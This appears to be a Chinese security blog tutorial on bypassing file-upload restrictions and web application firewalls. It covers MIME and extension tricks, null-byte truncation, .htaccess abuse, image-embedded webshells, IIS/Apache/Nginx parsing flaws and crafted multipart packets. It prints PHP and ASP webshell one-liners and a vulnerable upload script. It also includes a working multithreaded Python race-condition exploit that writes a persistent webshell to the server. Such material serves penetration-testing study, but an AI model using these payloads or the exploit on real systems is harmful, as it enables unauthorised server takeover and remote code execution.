WEB安全文件上传

上传一个PHP文件 点开网络查看 下面未有请求(同时弹窗说文件不合法) 这时候需要抓包 改包里的文件格式(在script标签里的格式)然后可上传一句话木马进行绕过

服务端MIME绕过

MIME检测的是数据包content-type字段 常见图片格式的MIME类型有以下几种类型

PNG图像:image/png

GIF图像:image/gif

JPG图像:image/jpeg

点击上传 上传的是PHP文件 提示 只允许上传图片文件 这时候需要进行抓包 抓完包 更改content-type字段 修改为图片格式的值

服务端目录检测绕过(较少)

文件上传时,有的程序允许用户将文件放到指定目录中,如果指定目录存在就将文件写入目录,不存在则先建立目录,然后写入(IIS中间件版本为6.0时)xxxx.asp aaaaa.jpg

上传jpg文件上传成功 抓包 抓完以后 将文件夹改为xxx.asp 然后上传成功 (阿帕奇无这种解析漏洞)

服务端拓展名检测绕过

黑名单:

1.大小写组合绕过

pHp AsP

上传PHP文件 提示文件不合法 需要抓包 将PHP大小写混合 改一句话

2.特殊文件名绕过

再Windows下有一个特性就是如果文件后缀以点‘.’或者空格‘ ’结尾的后缀名时,系统在保存文件时会自动去除点和空格。但要注意Uinx/Linux系统没有这个特性

window上传PHP 不合法 先进行抓包 然后改文件名 把后面加一个. 然后发送数据包显示上传2.php.成功

3.0x00截断绕过 asp程序居多

文件名后缀有一个%00字节,可以截断某些函数对文件名的判断。在许多语言函数中,处理字符串的函数中0x00被认为是终止符

例如:网站上传函数处理xxx.asp%00.jpg时,首先后缀名是合法的jpg格式,可以上传,在保存文件时,遇到%00字符丢弃后面的.jpg,文件后缀最终保存的后缀名为xxx.asp

上传1.asp.jpg文件 抓取数据包

在数据包1.asp.jpg的‘asp’后面加上一个空格(空格的16进制为0x20方便寻找) 然后选中‘Hex’找到‘20’,将其改为00 然后发送数据包 显示上传成功 上传的是1.asp

而非jpg文件

4.htaccess文件攻击

.htaccess文件内容

<FilesMatch "haha">

SetHandler application/x-httpd-php

</FilesMatch>

上传文件 抓包 将文件名改为haha ,haha出现在哪都行,然后改PHPinfo 然后发送数据包

发现上传成功 但未被解析 这时候需要再上传一个文件.htaccess 上传的时候不加点(因为点开头的 是隐藏文件) 抓住完以后 加一个点 然后发送数据包 发现原来文件可以被解析执行

白名单:

1.0x00截断绕过

用像test.asp%00.jpg的方式进行截断,属于白名单文件

2.解析/包含漏洞绕过

这类漏洞直接配合上传一个代码注入过的白名单文件即可,再利用解析/包含漏洞

绕过文件内容检测

1.制作图片马

需要一张图片和一个php文件(windows下制作)

shift右键 打开命令窗口输入 copy test.png/b+shell.php/a 2.png

参数/b指定以二进制格式复制,合并文件;用于图像类/声音类文件

参数/a指定以ASCII格式复制,合并文件。用于txt等文档类文件

(Linux下制作)cat test.jpg 2.php > xxx.jpg

制作完成之后 上传图片马 进行抓包 修改后缀 改为php 之后上传成功 打开菜刀进行连接

5.解析漏洞(不是代码问题 是中间件解析出现的问题)

1.Apache解析漏洞

一个文件名为test.php.aaa.bbb.ccc的文件,Apache会从ccc的位置往php的位置尝试解析,如果ccc不属于Apache能解析的后缀名,那么Apache就会尝试去解析bbb,这样一直往前尝试,知道遇到一个能解析的拓展名为止

2.IIS6.0有两个解析漏洞,一个是如果目录名包.asp,.asa,.cer字符串,那么这个目录下所有的文件都会按照asp去解析

例如:“test.asp/1.jpg”

另一个是只要文件名中含有.asp,.asa,.cer会优先按asp来解析

例如:“1.asp;.jpg”

iis7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串“/任意文件名.php”就会按照php的方式去解析

重点!!!!

上传漏洞的检测框架

(1)寻找上传点

网站前台的上传点一般会有头像上传,附件上传,证件认证上传。如果通过SQL注入或者其它一些技术手段得到网站后台权限,一般在网站更新页面的地方存在上传点。也可以通过敏感目录或者文件扫描工具扫到一些开源编辑器的测试上传页面等等

(2)找到上传点后,先上传一张正常的图片测试该上传点时候可用

(3)上传一张正常的图片,抓包修改文件后缀名为对应网站脚本语言

该操作可以绕过前端检测,MIME检测,文件内容检测,可以检测出网站是否对上传文件进行了文件后缀名的检测

如果上传成功表示没有对文件后缀名进行检测,可以进一步上传图片马,抓包修改后缀名为对应网站脚本语言即可获取webshell。

如果上传失败表示对文件名后缀进行了检测,需要进一步判断是黑名单检测还是白名单检测

(4)上传一张正常的图片,在它后缀随便添加几个字符进行上传

例如:“1.jpgaaaaa”该后缀的文件既不在黑名单之内也不在白名单之内,如果文件上传成功代表是黑名单检测,如果上传失败代表是白名单检测

(5)黑名单检测绕过

文件名大小写绕过

特殊文件名绕过

0x00截断绕过

.htaccess文件攻击

php文件包含漏洞

Apache解析漏洞

Nginx解析漏洞

(6)白名单检测绕过

0x00截断绕过

php文件包含漏洞

IIS解析漏洞

Nginx解析漏洞

WAF绕过

7.1 垃圾数据

有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。此种情况可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验

在这里插入图片描述

当然也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验。

在这里插入图片描述

可以将垃圾数据加上Content-Disposition参数后面,参数内容过长,可能会导致waf检测出错。

filename

针对早期版本安全狗,可以多加一个filename

在这里插入图片描述

或者将filename换位置,在IIS6.0下如果我们换一种书写方式,把filename放在其他地方:

在这里插入图片描述

POST/GET

有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。 此种情况可以上传一个POST型的数据包,抓包将POST改为GET。

以上方式

针对WAF,以上介绍的服务器解析漏洞、文件包含漏洞等都可以尝试绕过。

利用waf本身缺陷

删除实体里面的Conten-Type字段

在这里插入图片描述

第一种是删除Content整行,第二种是删除C后面的字符。删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php。

正常包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
构造包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"

删除Content-Disposition字段里的空格

在这里插入图片描述

增加一个空格导致安全狗被绕过案列:
Content-Type: multipart/form-data; boundary=—————————4714631421141173021852555099
尝试在boundary后面加个空格或者其他可被正常处理的字符:
boundary= —————————47146314211411730218525550

修改Content-Disposition字段值的大小写

img

Boundary边界不一致

每次文件上传时的Boundary边界都是一致的:

Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099
Content-Length: 253
-----------------------------4714631421141173021852555099
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")%>
-----------------------------4714631421141173021852555099--

但如果容器在处理的过程中并没有严格要求一致的话可能会导致一个问题,两段Boundary不一致使得waf认为这段数据是无意义的,可是容器并没有那么严谨: Win2k3 + IIS6.0 + ASP

在这里插入图片描述

文件名处回车

在这里插入图片描述

多个Content-Disposition

在IIS的环境下,上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,而如果waf只是取最后一个的话便会被绕过,Win2k8 + IIS7.0 + PHP

在这里插入图片描述

利用NTFS ADS特性

ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果waf对请求正文的filename匹配不当的话可能会导致绕过

在这里插入图片描述

文件重命名绕过

如果web程序会将filename除了扩展名的那段重命名的话,那么还可以构造更多的点、符号等等。

在这里插入图片描述

特殊的长文件名绕过

文件名使用非字母数字,比如中文等最大程度的拉长,不行的话再结合一下其他的特性进行测试: shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg

反删除

将下图file1改成了file4,这样就不会把这个文件删除了。(JCMS漏洞)

在这里插入图片描述

竞争上传

演示代码:

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./";
​
$filename = $_FILES[''file''][''name''];
​
if(is_uploaded_file($_FILES[''file''][''tmp_name''])){
    if(!move_uploaded_file($_FILES[''file''][''tmp_name''],$path.$filename)){
        die("error:can not move");
    }
}else{
    die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\\n<br />";
​
if($_FILES[''file''][''error'']>0){
    unlink($newfile);
    die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES[''file''][''name'']));
if(!in_array($ext,$allowtype)){
    unlink($newfile);
    die("error:upload the file type is not allowed,delete the file!");
}
?>

首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个php文件,内容为:

<?php fputs(fopen("./info.php", "w"), ''<?php @eval($_POST["drops"]) ?>''); ?>

当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。利用代码如下:

import os
import requests
import threading
​
class RaceCondition(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        self.url = "http://127.0.0.1:8080/upload/shell0.php"
        self.uploadUrl = "http://127.0.0.1:8080/upload/copy.php"
​
    def _get(self):
        print(''try to call uploaded file...'')
        r = requests.get(self.url)
        if r.status_code == 200:
            print("[*]create file info.php success")
            os._exit(0)
​
    def _upload(self):
        print("upload file.....")
        file = {"file":open("shell0.php","r")}
        requests.post(self.uploadUrl, files=file)
​
    def run(self):
        while True:
            for i in range(5):
                self._get()
            for i in range(10):
                self._upload()
                self._get()
​
if __name__ == "__main__":
    threads = 20
​
    for i in range(threads):
        t = RaceCondition()
        t.start()
​
    for i in range(threads):
        t.join()

经过几次尝试后成功成功写入shell

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值